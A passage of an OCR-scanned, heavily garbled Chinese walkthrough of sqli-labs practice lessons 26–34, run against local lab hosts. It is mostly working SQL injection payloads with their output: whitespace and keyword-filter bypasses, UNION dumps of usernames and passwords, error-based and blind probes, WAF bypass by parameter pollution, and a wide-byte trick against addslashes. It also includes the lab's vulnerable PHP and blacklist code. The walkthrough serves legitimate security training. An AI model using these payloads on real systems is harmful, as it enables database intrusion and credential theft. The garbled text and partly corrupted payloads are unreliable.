K%, or, and,/* #--/FEMFFSEIE, AN Tand, orfIALETEANEEIR, SE25 WARMNTFERAM
it X FEREME BT RBRANMAAE R R AEE A RAGEEER " X TEK, ARSI

%09 TAB%& (IKF)
%0a & —17

%0c i — T

%0d returnzh
%0b TAB%# (FEH)

%a0 =

2 i i ILinux*F& Fo

sqlif#f)A: SELECT * FROM users WHERE id="$id' LIMIT 0,1

BATE o4 i — BN # i payload:

http://127.0.0.1/sqllib/Less-26/?id=1'%a0| | "1


http://lib.csdn.net/base/linux
http://127.0.0.1/sqllib/Less-26/?id=1%2527%2525

& Load URL http://10.10.10.139/sq/Less-26/?id=1'%a0]|'1
W split URL +
bl Execute

Enable Post data Enable Referrer

Welcome

{RisqkEa)Je :SELECT * FROM users WHERE id="1'¢||'1' LIMIT 0,1
Your Login hame:Dumb
Your Password:Dumb

Explain:'%a0]||"1

[EBF, FRATMALRISqliE A ASELECT * FROM users WHERE id="1"|| '1' LIMIT 0,1

F—A BAMEId="8Sid T, %a0RZERHRE,

(ps: BEATRFIFFEZubuntu14.04+apache+mysql+php, W] LAf#HT%a0, BHTEwindows+wampillif, AEE
T %al, BHERESEM. D

A B %o0b th 2 T DA U iR A, HeAth 9 2 IR AT HT

| RELEMRE, ""MURATHEEEK" .

EEFEhackbart i AN &&H, T EHITURLHGIEN%26%26, HN<keE, MHA||AFHE

Bl T B

http://10.10.10.139/sqli/Less-26/?1id=0%27union%a@select%adl, 2, 3,4%a0%26%26%a0%271%27=%271

Welcome

SQL:SELECT * FROM users WHERE id="0'uniongselectg1,2,3¢&&¢'1'="1" LIMIT 0,1
Your Login name:2
Your Password:1

http://10.10.10.139/sqli/Less-26/?1d=0%27union%a@select%a0dl, 2, 3%a0%26%26%a0%271%27=%271



Welcome

SQL:SELECT * FROM users WHERE id="0"uniongselect§1,2,3, 4 &&¢'1'="1" LIMIT 0,1
The used SELECT statements have a different number of columns

BEHE A

http://10.10.10.139/sql/Less-26/?1d=0"'union%a@select%adl,database(),3%26%26'1'="1

|2 T oW auLT A23T ENUIYPULIT EnCOUINGT e

& load URL  hitp://10.10.10.139/sql/Less 26/Tid=0'union select 1,database(), 388 1'="1
§ splitURL
Execute

Enable Post data Enable Referrer

Welcome

{7fsqhEf) A :SELECT * FROM users WHERE id="0"'unionselect€1,database(),3&8&'1'="1" LIMIT 0,1
Your Login name:security
Your Password:1

H 8] % 78 — N B $group_concat()

BERFITHRIN AL S —RER TR

BHXR4 (information B A —/Nor&# i i€ Fr L & ZE XU infoorrmation)  GX B AH&&)

http://10.10.10.139/sql/Less-26/?1d=0%27union%a@select%a0dl, group_concat(table_name), 3%a@from%ad@infoorrmatio


http://blog.csdn.net/ys410900345/article/details/44828571

& loadURL hitp://10.10.10.139/sql/Less-26/7id=0%27union%aDselect¥al1,group_concatitable_name), 3%aDfrom%alinfoorrmation_schema.tables¥%alwhereSaliable_schema='security %26%26%a0'1%27="1
B spliture |
v} Execute

Enable Post data | Enable Referrer

Welcome

{RHsqhEa) /g :SELECT * FROM users WHERE id="0'union@select€1,group_concat(table_name),3@from@information_schema.tables@where@table_schema="security'&&@"1'="1" LIMIT 0,1
Your Login name;emails,referers,uagents,users
Your Password:3

SERIES-26

BFBRARKEFTEERandth FENE)

http://10.10.10.139/sql/Less-26/?id=0"'%0@bunion%@bselect%0Obl, group_concat(column_name), 3%0bfrom%@binfoorrmat

@ LloadURL  http://10.10.10.139/5g)/Less-26/2id=0'%0bunion%0bselect0b1,group_concat(column_name),3%0bfrom30binfoormmation_schema.columns%0bwhere9t0btable_schema="security%0baandnd%0btable_name="users'%0b3%26

- i 9%26%0b'1'="1

¥ split URL +
') Execute

Enable Post data Enable Referrer

Welcome

{F19sqhES)A :SELECT * FROM users WHERE id="0'unionselect1,group_concat(column,name),3frominformation schema.columnswheretable schema="security'andtable_name="users'8&
L 1' LIMIT 0,1

Your Login name:id,username,password
Your Password:3

BEHIE

http://10.10.10.139/sql/Less-26/?1d=0"'%alunion%adselect%adl, group_concat(username), 3%a@from%alusers%adwhere



| Y| = ® 3Lt AT ENCIYpUONT ENCOQINGT Unerr

& Load URL | http://10.10.10.139/5q)/Less-26/7id=0%a0uniondaselect3a01, group_concat(username), 3%a0fromd6aOusersSalwhere%a0'19627="1
5 spliture J
') Execute

Enable Post data Enable Referrer

Welcome

{RAYsqlEEI :SELECT * FROM users WHERE id="0"@union@select®1,group_concat(username),3@from@users@whereg'1'="1' LIMIT 0,1
Your Login

name:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,adminl,admin2,admin3,dhakkan,admin4,admin'#
Your Password:3

SERIES-26

@ Lload URL  hitpy//10.10.10.139/sg)/Less-26/%id=0'%a0union¥alselectiall group_concat(passwoorrd), 3%a0from¥%alusers¥talwhere9al 19627="1
§  split URL +
})  Execute

Enable Post data  ["| Enable Referrer

Welcome ..[.haki
{RBYsqhEE) /e :SELECT * FROM users WHERE id="0"@union@select®1,group_concat(password),3@fror isers@whereg’1'="1" LIMIT 0,1
Your Login name:Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,111,adminl,admin2,admin3,dumbo,admin4,123
Your Password:3

WA —EE

http://10.10.10.139/sql/Less-26/?1d=0"'%alunion%adselect%adl, group_concat(username,passwoorrd), 3%a0from%adus

& Load URL

§  split URL +
¥ Execute

Enable Post data Enable Referrer

Welcome
{FHsqhESA :SELECT * FROM users WHERE id="0"@unionselect1,group cconcat(usernamie, password), 3@from@users@where€’1'="1" LIMIT 0,1
Your Login name:DumbDumb,Angelinal-kill-

ou,Dummyp@ssword,securecrappy,stupidstupidity,supermangenious,batmanmob!le,adminlll,adminladminl,admin2admin2
Your Password:3

XEARFKZEEZ T where "1'="1,2 8 T ibiB AR L L R EH


http://www.jb51.net/article/38062.htm

A — Mgt R EEA 4 & £ L R xpathi 88 REUE B RIREUE B -

http://10.10.10.139/sql/Less-26/?id=-1"| |updatexml(1,concat('~",database(),"'~"'),3)||"

BEAARRBRBRER T, TETUAEMRSH, MKHEATAT BB T2

RXRE526MXRBET, sqiBERIEM T — M ES, FRREsqiEAIATI0L IR HAERN & WEal . a3l
HERRIREEEN, X EAMKIFRF HunioniEA .

sqliEf)8 SELECT * FROM users WHERE id=("$id") LIMIT 0,1

BEEE A

http://10.10.10.139/sql/Less-26a/?1d=100" )%@bunion%@bselect%0bl,database(),3%0b||('1')=("1

@ loadURL [
4§ split URL +
v) Execute

| Enable Post data ("] Enable Referrer

Welcome

Your Login name:security
Your Password:1

BRY

http://10.10.10.139/sql/Less-26a/?1d=100" )%@bunion%@bselect%Obl, group_concat(table_name), 3%@bfrom%@binfoorr



\ y

@& Load URL 1

& splitUrRL +
Execute

Enable Post data [] Enable Referrer

Welcome
Your Login name:emails,referers,uagents,users
Your Password:3

HEYBRA

http://10.10.10.139/sql/Less-26a/?1d=100" )%Pbunion%0bselect%Obl, group_concat(column_name), 3%0bfrom%ebinfoor

& Load URL

¥ splitURL +
Execute

Enable Post data Enable Referrer

Welcome _
Your Login hame:id,username,password
Your Password:3

HEHE

http://10.10.10.139/sql/Less-26a/?1d=100" )%@bunion%@bselect%0Obl, group_concat(passwoorrd), 3%0bfrom%ebusers%o

§ Load URL  httpy//10.10.10.139/5ql/Less-26a/7id=100%27)%0bunion%%0bselect30b1,group_concat{passwoorrd), 3%0bfrom3%0busers30bwhere%0b(%6271%27)=(%271

split URL +
Execute

Enable Post data Enable Referrer

Welcome _
Your Login name:Dumb,I- kiII-you,p@ssword,crappy,'stufjidity',ge'ni'ou s,mob'i le,111,adminl,admin2,admin3,dumbo,admin4,123

Your Password:3

http://10.10.10.139/sql/Less-26a/?1d=100" )%Pbunion%@bselect%Obl, group_concat(passwoorrd,username), 3%0bfrom%



§ Load URL  http://10.10.10.139/5q/Less-26a/?id=100")%0bunion%0bselect30b1 group_concat(passwoorrd,usermame), 3%0bfrom3%0busers%0bwhere%0b( 1)=(1
| Split URL +
Execute

Enable Post data [T Enable Referrer

Welcome

Your Login name&:DumbDumb I=kill-

ouAngelina, p@sswordDummy,crappysecure,stupiditystupid,genioussuperman,mob!lebatman,111admin,adminladminl,admin
Your Password:3

BT RMEH T Ubuntuf 3R £, 2 BT £win2003+phpstudy 3818, FR27EX BHRIBASHREE T, &
WAFE T4, BT —DHERET T

less 27 GET - Error Based- All your UNION & SELECT belong to us (i3 3% T union#il
selectft])

EHTAEEREBIWE T BIS, KARLTIEN

| Load URL  http://10.10.10.139/sql/Less-27/7id=1]

split URL +

- o= g

Execute

Enable Post data Enable Referrer

Welcome

Your Login name:Dumb
Your Password:Dumb

RES BT, WRATIER



INT ¥| = & SQL- XSS+ Encryption Encoding- Otherr

@ LloadURL  http//10.10.10.139/sql/Less-27/7id=1 order by
% spliture
Execute

Enable Post data Enable Referrer

Welcome

Your Login name:Dumb
Your Password:Dumb

Hint: Your Input is Filtered with following result: 1orderby

ERETIRET

@ Load URL  httpy//10.10.10.139/sgl/Less-27,%id=unionselectl
% split URL
] Execute

Enable Post data Enable Referrer

Welcome

Your Login name:Dumb
Your Password:Dumb

Hint: Your Input is Filtered with following result: 1

WREIEK, HEAKNGALURBK



D BEE BEY HRE HEE TED =mH [ = [ B ]

Less-27 Trick with SELECT & +

€ | @ 10.10.10.141/5q)/L ess-27/%id=uNio ¥ 3 (] S <Ctrl+k w8 + # B & B « - =
& &R XS 360 £ Dtz
[t ~| = & SQL- XSS~ Encryption- Encoding- Other-

& Lload URL  hitp;//10.10,10.141/sql/Less-27/%id=ulion1

3 splitURL +

') Execute

Enable Post data Enable Referrer

Welcome

Hint: Your Input is Filtered with following result: uNionl

& MRS

function blacklist($id)

{

$id= preg_replace('/[\/\=]/","", $id); ffstrip out f=
$id= preg_replace('/[--1/"."", $id); f/Strip out —-.
$id= preg_replace('/[#]/',"", $id); F/Strip out #.
$id= preg_replace('/[ +]1/',"", $id); //53trip out spaces.
$id= preg_replace('/select/m',"", $id); F/7Strip out spaces.
$id= preg_replace('/[ +]1/',"", $id); //5trip out spaces.
$id= preg_replace('/union/s' """, $id); F/Strip out union
$id= preg_replace('/select/s',"", $id); F/Strip out select
$id= preg_replace(' /UNION/s' """, $id); F/5trip out UNHIDH
$id= preg_replace('/SELECT/s',"", $id); //5trip out SELECT
$id= preg_replace('/Union/s' """, $id); F/Strip out Union
$id= preg_replace('/Select/s',"", $id); F/Strip out select
return $id;

¥

k4




m (PCRE_MULTILINE)BRIME LT, PCRE YA BARF4F 8 &2 AT AT A BB (R T SEfr LEW RS BE %
1), "TE"TTEA () NLEFRFHERITEME, WK (8) NRRFRFERE, BERENBRITR
(BRAERE T D BWiFRF). XAMMTRM perl #iF. HXANMEWFREZE, “TEMITRBEILE B 57758
FRERBRITRHZIE G, F5h, &5 HILE B A7/ S REITaMRREME. XERT perl # /m &1
o MRBARFRE PEAE "\n" 764, REEKXPEFHIR MK S, RERXMBWHRFA LA,

s (PCRE_DOTALL) R & & T X/MEMWiFRF, #MAF MRS urFFILERE 7/, BERiTf. mREEEN
BHRF, RSAILERBRITH. XMEWHFERT perl HR/SBHRF. —NBURFRFEHLI [fa] &2 LA #IT
£, MAKBTRZAMBWARRE. /m JB0E T HBIER, “ITRE M ITERER T LA 757 8 T kg
WA, 5 FICEH A AT RN Z EMZ AT, XM Perl ) /Im B IERFRSHN . R BiRFEFEPEE\n"F
HRERKFER AR, MBEKRBERFEFEMER. S ERMELESITHER?

Is R RTFRF (O ILEEATR, LHXBEEARMARET, Ba LEHERKXNEREMATUT

PREYR P

http://10.10.10.141/sql/Less-27/?1d=0"'%a@uniOn%a@sE1Ect%a0l,database(),3%a0or%a0'1'="1

& Lloadurl | [ETZAUE
& splitURL -
1 Execute

Enable Post data Enable Referrer

Welcome

Your Login name:security

YourPassword!T

XEMor"'="1R2ATHEMNER Zor "1'="1"limit 1,1 k&R

ARG (XEFEITCor#HE& (%26%26) )

http://10.10.10.141/sql/Less-27/?1d=0"'%a@uniOn%a@sE1Ect%a01, (group_concat(table_name)), 3%a0from%ad@informati



& Load URL
% split URL
') Execute

| Enable Post data Enable Referrer

Welcome
Your Login name:emails,referers,uagents,users
Your Password:3

BYBA

http://10.10.10.141/sql/Less-27/?1d=0"'%aluniOn%a@sE1Ect%a01, (group_concat(column_name)), 3%a0from%a@informat

4 LloadURL [
,  split URL
Execute

Enable Post data [ Enable Referrer

Welcome

Your Login name:id,username,password
Your Password:3

BEHAE

http://10.10.10.141/sql/Less-27/?1d=0"'%aluniOn%a@sE1Ect%a01, (group_concat(username)), 3%a@fromkalusers%aouni

& LoadURL  htipy//10.10.10.141/sql/Less-27/%id :O‘%aDuniOn%aﬂsE\E(t%aOL(gmup;un(at(usemame)},5%aO.‘rom%aOLsers%aDuniOn%aOseLe(t%aOl,Z,‘?
% splitURL +
Execute

Enable Post data Enable Referrer

Welcome

Your Login name:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,adminl,admin2,admin3,dhakkan,admin4
Your Password:3

FEEHIE R EES H R ER R

http://10.10.10.141/sql/Less-27/?1d=0"'%a@uniOn%a@sE1Ect%a01, (group_concat(username)), 3%a@fromkalusers%aouni

ERBEEREFHREGERNN  F5  HEEKHERERAE 1 KESRENRMRRET, RER
FERTTE NN %a0 X IEH T, WEFERBRIRIEE RN T ILEREIEIE  RIE )5S B ERATH S HEE
—EAAETHIR, LT HESEERIEIER T ik RGER K A E THRE.

XA FAEE HE R



<span style="color:#000000;">http</span><span style="color:#666600;">:</span><span style="color:#880000;">/
http</span><span style="color:#666600;">:</span><span style="color:#880000;">//localhost/sqli-labs/Less-27/
http</span><span style="color:#666600;">:</span><span style="color:#880000;">//localhost/sqli-labs/Less-27/
http</span><span style="color:#666600;">:</span><span style="color:#880000;">//localhost/sqli-labs/Less-27/
://localhost/sqli-labs/Less-27/?id="'%a@uNion%a@sElect(1), (database()),(3) or (1)='1 BEIE

http://localhost/sqli-labs/Less-27/?id="%a@uNion%a@sElect(1), (group_concat(table_name)), (3)%a0from%a@inform
http://localhost/sqli-labs/Less-27/?id="%a@uNion%a®sElect(1),group_concat(column_name), 3%a0from%ad@informati
http://localhost/sqli-labs/Less-27/?id="%a@uNion%a®sElect(1),group_concat(email_id), 3%a@from¥%ademails%aoduni

:/localhost/sqli-labs/Less-27/?id="%a0uNion%a0sElect(1),(database()),(3) or (1)="1 &% &
http://localhost/sqli-labs/Less-27/?id='%a0uNion%a0sElect(1),(group_concat(table_name)),
(3)%a0from%a0linformation_schema.tables%a0where%a0ltable_schema='"security'%26%26%a0%271%27=%2
13 http://localhost/sqli-labs/Less-27/?
id="%a0uNion%a0sElect(1),group_concat(column_name),3%a0from%a0information_schema.columns%alwhel
1% %\ http://localhost/sqli-labs/Less-27/?
id="%a0uNion%a0sElect(1),group_concat(email_id),3%a0from%a0emails%a0uniOn%a0seLect (1),2,'3 $#EHE %L
&

o I F

#nT A% IXHE Hunion selectst il LA R =46 T, BEEHEPIIEBE KRR

@ Load URL  http://10.10.10.141/sql/Less-27/%id="%a0uNion%a0sElect{1) (database()).(3) or (1)="1
% split URL
Execute

Enable Post data Enable Referrer

Welcome

Your Login name:security
Your Password:1

Hint: Your Input is Filtered with following result: '@uNion@sElect(1),(database()),(3)or(1)="1

less 27a GET - Blind Based- All your UNION & SELECT belong to us

XA less 27T B FERA, X5 S5 EK

http://10.10.10.141/sql/Less-27a/?id=1"or "1"="1



Lo | o s mwm meype s s

@ LoadURL http;//10.10.10.141/sql/Less-27af%id=1"0r "1"="1
X splitURL
b Execute

Enable Post data Enable Referrer

Welcome

Your Login name:Dumb
Your Password:Dumb

T 4 5 i K payload

http://10.10.10.141/sql/Less-27a/?id=1"and(length(database())>7)%a@uNion%a®sELect%a01,2,"3

& LloadURL  hitp;//10.10.10.141/sql/Less-27a/Tid=1"and{length(database()» 7)%a0uNiond%a0sELect%a01,2,"3
§  split URL +
Execute

Enable Post data Enable Referrer

Welcome

Your Login name:Dumb
Your Password:Dumb

http://10.10.10.141/sql/Less-27a/?id=1"and(length(database())>8)%a0OuNion%a@sELect%a01,2,"3

| Logd URL  https//10.10.10.141/sq)/Less-27a/%id=1"and(length(database() -~ B)%a0uNionS%a0sEL sct%a012, 3
% splitURL -
Execute

Enable Post data [] Enable Referrer

Welcome™

Your Login hame:2
Your Password:3

EHHE

http://10.10.10.141/sql/Less-27a/?1id=1"%a@And%a0(length(database())>8)%aOuNion¥%a@sELect%a0l,database(), "3



[E =
& LloadURL [f

0

& SplitURL +
¥, Execute

[] Enable Post data Enable Referrer

Welcome .....ha

Your Login name:security
Your Password:3

BRAFEASFENG SERHEA""="1RAE, BHETEEL& (%26%26) H—i, EFRSERAHRK,
RNMREH B, BARSHIX MR

& loadURL | htip://10.10.10.141/sql/Less-27a/7id=1"%a0And%a0(length(database() > 8)%a0uNion%alsELectialL (group_cancat{table_name)),3%a0fromalinformation_schema.tables3aOwhere%a0table_schema='security'%a0p6a0"1"%a0="1
@ split URL

') Execute

Enable Post data Enable Referrer

Welcome

Your Login name:
Your Password:3

http://10.10.10.141/sql/Less-27a/?id=1"%a@And%a0@(length(database())>8)%a@uNion%a@sELect%a0dl, (group_concat(t

! m e ermm g ey

o loadURL  hitp://10.10.10.141/sql/Less-27a/7id=1"%aDAnd%a0(length(database() » 8)%a0uNion%a0sELect¥a0l, (group_concat(table_name)), 3%alfrom#alinformation_schema.tables¥%alwhere%altable_schema='security'%a0%26

i . %26%a0"1"%a0="1

! splitURL
Exccute

Enable Post data Enable Referrer

Welcome

Your Login name:emails,referers,uagents,users
Your Password:3

BT BRA

http://10.10.10.141/sql/Less-27a/?1d=1"%a0And%a0(length(database())>8)%aOuNion%a@sELect%a01, (group_concat(c



@ Load URL

§  splitURL

Execute

Enable Post data Enable Referrer

Welcome

Your Login name:id,username,password
Your Password:3

BHE (FERXEFEEIILEH, RERLELID)

http://10.10.10.141/sql/Less-27a/?id=-1"%a@And%a0(length(database())>8)%aOUNion%a@SElect%a0d (1), (group_conca

@ Lload URL  http://10.10.10.141/sq)/Less-27a/%id=-1"%a0And%a0(length(database() > 8)%a0UNion%a0SElect%a0(1) (group_concat{username)), (3)from%alusersdsadUNion%a0SElect%a01,2,"3"="3
X splitURL
b Execute

Enable Post data Enable Referrer

Welcome

Your Login name:Dumb,Angelina, Dummy,secure,stupid,supérman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
Your Password:3

SERIES-2 7a

XERIEREIER T EHBEREWERS, & Hwhere 1=1i81R ¥R, HARTHEFESER, RERRIAES
G

http://10.10.10.141/sql/Less-27a/?id=-1"%a@And%a0(length(database())>8)%a0OUNion%a@SElect%a0d (1), (group_conca

@ Load URL | http://10.10.10.141/sql/Less-27a/%d=-1"%a0And%a0(length(database())>B8)%a0UNion%a0SElect3%a0(1),(group_concat{username)),(3)from%alusersdbalwherea0™1"="1
X splitURL
Execute

Enable Post data Enable Referrer

Welcome

Your Login name:Dumb,Angelina,Dummy,secure stupid,superman,batman,admin,adminl,admin2,admin3,dhakkan,admin4
Your Password:3

less 28 GET - Error Based- All your UNION & SELECT belong to us String-Single
quote with parenthesisf: T 451% 11, AHSHHES| SFEZR/AE, T3 T unionfliselectE )



EA

RERFTEUAT, REERRHMRADNOME T, —BEUAR28HE, JERA KINRE28aEE, REREMRE
)RR 28 B T # ), BRURL28EH £ MNabANal X ), XBERMAFER, KRET, H284R41
AT UAZ TS T B SR A — R Y

28aii R EE, ERNFMIENE AT LIRE, XERRICEENABEBELREH

AR 7 RBE SRR TT, X T B EKSIE R A B i B

<span style="color:#333333;">KERS8
http://localhost/sqli-labs/Less-28a/?id=1")and(length(database())>7)and('1')=("1
http://localhost/sqli-labs/Less-28a/?id=1")and(length(database())>8)and('1')=("'1

B—AFREL15, Hs
http://localhost/sqli-labs/Less-28a/?id=1")and(ascii(substr((</span>sElect¥%a0@database()<span style="color:#
http://localhost/sqli-labs/Less-28a/?id=1")and(ascii(substr((</span>sElect%a0@database()<span style="color:#
sElect%a@database()),1,1))>114)and('1")=("1
http://localhost/sqli-labs/Less-28a/?id=1")and(ascii(substr((sElect%a@database()),1,1))>115)and('1"')=("1

sElect%a@database()),1,1))>114)and('1")=("1
http://localhost/sqli-labs/Less-28a/?id=1")and(ascii(substr((sElect%a0database()),1,1))>115)and('1"')=("1

less 28a GET - Bind Based- All your UNION & SELECT belong to us String-Single
quote with parenthesisZ T 5/, FHSHHSSFE/FE, T T unionfilselect? i)
EA

TF 6 2 B BT 76 BT TR IGE Bl VR 4e LBk, 3 hnak i 2



INUEX.pnp
cTLaT 1 cww rLvcaac L!I'JUL LIS AW O3 EJGI anrc Ll WLLIl 1IuUrc) L. vaLuc ,_r

function blacklist(Sid)

{

$id= preg_replace('/[\/\*]/',"", $1d); //strip out /*
S$id= preg_replace('/[--1/',"", $id); J/strip out --.
Sid= preg_replace('/[#]/',"", $id); //strif
out #.

Sid= preg_replace('/[ +1/',"", 5id): //Strip out spaces.
Sid= preg_replace('/select/m',"", Sid); J//Strip out
spaces.

Sid= preg_replace('/[ H]j',””, sid); //Strip out spaces.
Sid= preg_replace(' funion\s+select/i',"", 5$1id); J//Strip out UNION & SELECT.
return 5id;

}

7>

</font> <f/div=</br></br=</br=<center=
<img src="..fimagesfLess-28.jpg" /=
<fbr=

<fbr=

AR EELRAER, RBEANG \sHRALEERT BFRF, SR, BATH A% 5

ARBRATT R 1B AS Hn 22 4% e SR MR 38 & FH Y%a0ne

EHE, BEMARS S, REXGS, FRE, BFUTEVREANRHAXERMES SR T, RiTx
515 &A R

B 5

[t *| = ¢ sql- XS5+ Encryption- Encoding Other-

& Lload URL  httpi//10.10.10.141/sql/Less-28a/7id=1]
4 spliturL .
v Execute

Enable Post data Enable Referrer

Welcome




5|5

[INT ¥| = & SQL- 5§ Encyption- Encoding- Other-

& load URL | hitpy//10.10.10.141/sql/Less-28a/7id=1"]
4 spliturL
' Execute

Enable Post data [| Enable Referrer

Welcome

Your Login name:Dumb
Your Password:Dumb

RIEWMN (BAHmE

http://10.10.10.141/sql/Less-28a/?id=1)""

& loadURL  hitp://10.10.10.141/sql/Less-285/2id=1)"
% splitURL .
') Execute

Enable Post data Enable Referrer

Welcome® 1"

Your Login name:Dumb
Your Password:Dumb

R G SRASFEREANAES S, mE) &, WHERKEVEES

EA) AT RERL 2 select *from users where id=('xxx)

BHHE

http://10.10.10.141/sql/Less-28a/?id=0")UNion%a@SElect%a0l,database(), ('3")=("'3



& Load URL  httpy//10.10.10.141/sql/Less-28a/?id=0")UNion%a0SElect%a01,database(),('3)=('3
% splitURL
¥ Execute

Enable Post data | Enable Referrer

‘Welcome

Your Login name:security
Your Password:1

HEXHA UK, EERENRTEASEIENREER)

http://10.10.10.141/sql/Less-28a/?id=0")UNion%a@SElect%a0l,database(),3%a0or%a0('1"')=("1

& Load URL

% splitURL
] Execute

Enable Post data [ Enable Referrer

"Welcome

Your Login name:security
Your Password:1

BRY: (XEHECITor# &)

http://10.10.10.141/sql/Less-28a/?1d=0")UNion%a@SElect%a0l, (group_concat(table_name)), 3%a@from%a®informatio



@ load URL  http://10.10.10.141/sql/Less-28a/7id=0)UNion%a0SElect%a01,(group_concat(table_name}),3%6a0from%6a0i ion_schema.tables%a0where%a0table_schema='security %a0%26%26%a0(1)=(1
# split URL

') Execute

Enable Post data Enable Referrer

Welcome

Your Login name:emails,referers,uagents,users
Your Password:3

BT B4

http://10.10.10.141/sql/Less-28a/?1d=0")UNion%a@SElect%a0l1, (group_concat(column_name)), 3%a0@from%a@informati

Load URL  https//10.10.10.141/sql/Less-28a/7id=0")UNion%a0SElect¥a01, (group_concat(column_name)), 3%a0fromalinformation_schema.columns3aOwhereS%altable_schema='security %a0ANd¥%aliable_name='users %a0%26%26%a0(1)=('1
Split URL +

SES

Execute

Enable Post data Enable Referrer

Welcome

Your Login name:id,username,password
Your Password:3

BEHIE (E&&H R where)

http://10.10.10.141/sql/Less-28a/?id=0")UNion%a@SElect%a0l, (group_concat(username)), 3%a@from%aduserskadwher

@ Lload URL  httpy/10.10.10.141/sq]/Less-28a/%id=0UNion%a0SElect¥%a0L, (group_concat{usemame)), 3%d0from%alusersdeaOwhere96a0('1=('1
$  splituRL
'} Execute

Enable Post data Enable Referrer

Welcome "

Your Login name:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,adminl,admin2,admin3,dhakkan,admin4
Your Password:3




BHZEA

http://10.10.10.141/sql/Less-28a/?1d=0")UNion%a@SElect%a0l, (group_concat(username)), 3%a0@from¥%adusers%»adUNio

@ loadURL [0
@ split URL
Execute

| Enable Post data [ Enable Referrer

Welcome

Your Login name:Dumb,Angeiina,Dummy,secure,stupid,superman,batmah,admin,admin1,admin2,admin3,dhakkan,admin4
Your Password:3

Less-29 & T WAF — /Mg iR
FWAFE; 3~
WiR: WAXNEISIEHE, WMA—AN55REER, FAN5SEE

« c @ ® 127.0.0.1/sqli-labs/Less-29/?id - O £ N[O @ ¢

Welcome

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "1" LIMIT 0,1' at line 1

B4 iEA] ] BE R select * from users where id="xx limit 1,1

ik A\ payload:

?id=-1" union select 1,2,database()--+

PR T, FHEHIEF, ZTHTHRTET .



?id=-1"' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=databas
?id=-1"' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

?id=-1"' union select 1,2,group_concat(username,@x7e,password) from users--+

MPLEW, f4world's best firewall EEERT, i TFHRIARNERR.

HAHdanEx £ & T — Fwafgrid 773k, REMNRX AW,

wafe R RFRA ST, WATEMARF RN RESwalE R BRI IER E A4 RERNFE R TE, B
RYXERATEN, XERF2ME, —MRARKIwall). 57— M4 REBRANTHZV H THE K

F— FIXBEE, hitp://blog.csdn.net/nzjdsds/article/details/77758824

BERIEN T #E—T:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtmll-tran
<html xmlns="http://www.w3.0rg/1999/xhtml">

<head>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<title>Less-29 Protection with WAF</title>

</head>

<body bgcolor="#000000">

<div style=" margin-top:70px;color:#FFF; font-size:40px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font
<font size="3" color="#FFFF00">

<?php

//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
//disable error reporting

error_reporting(0);

// take the variables

if(isset($_GET['id']))

{

$id=$_GET['id'];

//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a");

fwrite($fp, 'ID:'.$id."\n");

fclose($fp);

$gs = $_SERVER['QUERY_STRING'];
$hint=%gs;

// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT o,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row[ 'username’];


http://blog.csdn.net/nzjdsds/article/details/77758824

echo “<br>";

echo 'Your Password:' .$row['password'];
echo "</font>";
¥

else

{
echo '<font color= "#FFFF00">"';

print_r(mysql_error());
echo "</font>";

¥

}

else { echo "Please input the ID as parameter with numeric value";}

?>

</font> </div></br></br></br><center>
<img src="../images/Less-29.jpg" />
</br>

</br>

</br>

<img src="../images/Less-29-1.jpg" />
</br>

</br>

<font size='4' color= "#33FFFF">
<?php

echo "Hint: The Query String you input is: ".$hint;
?>

</font>

</center>

</body>

</html>

ARX 2 VLT«

?id=1&id=-1"' union select 1,2,database() --+

REEMEAAAER, —HRET —HRRE, AEER.

Less-30 Get-Blind Havaing with WAF

FAWAFj; 47

?id=-1" union select 1,2,database()--+

B =R AR LT BEN -
R EE T ? X RBRAAEER?



¥ Hless-29 HIE B AT LIX FEA IE

?id=1&id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=da

ENLE R

Less-31 Protection with WAF
FHWAFE5
¥ % payload

?id=-1")union select 1,2,database() --+

% B SH05 G 1E AT LA F
¥ payload

?id=1&id=-1")union select 1,2,database() --+

REBR .

EANGH

Less-32 Bypass addslashes()

243t addslashes()

RFHRL5 S5 X

addslashes()&7E#.5] S Hin—AN #lin: I'm hacker £ Aaddslashes(), &%]: N'm hacker
A REAR LA BE 1EsqRE N E A I &, (ER AT AEA 98 7 i geid .

JREAMERGER, — MR FFHRKFR, I — N7 B utf8% i3 9 %E6%88%91 Z A1 H ?id=-
1%E6' XHERIMIERT, ' BTEINK \ MM %ES S —#, HEXAR-ANEFNT, HEEER T EHE \ KfE
A, .

¥ payload

?id=-1%E6' union select 1,version(),database() --+

RERFILWRRR T —F, rEREBEAREEERT, 'users' KEFHI| 5.



8+ Bt f gm gt AT AR 7 FHOX AXE, users {8 I+ Nt il 4G 15 $7573657273, HiEN
0x7573657273

?id=-1%E6"' union select 1,version(),group_concat(column_name) from information_schema.columns where table_n

BT RIPREBR AR, NEER.

Less-33 Bypass addslashes()

2%l addslashes()

M E—B—FH, payloadffAHK, £F T —EBAIAKEMRE, HEAZ, —FHHpaylaod, ®HEITZ MR
B ERET, UAMEXREEH 258, RIEHED.

EANG R

Less-34 Bypass Add SLASHES
St I AT
postH ., IMERA.

¥ payload

uname=admin%99' union select version(),database()--+&passwd=admin&submit=Submit

Go <|v Target: http://127.0.0.1 | 4

Raw | Params I Headers I Hex ‘ h Raw ] Headers l Hex I HTML | Render

20ST /sql-labsiLess-34/ HTTPA 1 A
Host: 127.0.0.1 r
Jser-Agent. Mozilla/5s .0 (Windows NT 10.0; Wing4; x64, rv:61.0) Gecko/20100101 Firefox/61.0 \K,’eICOlne
Accept: texthtm application/xhtmb+xml applicationixmlg=0.9,'1,4=0.8
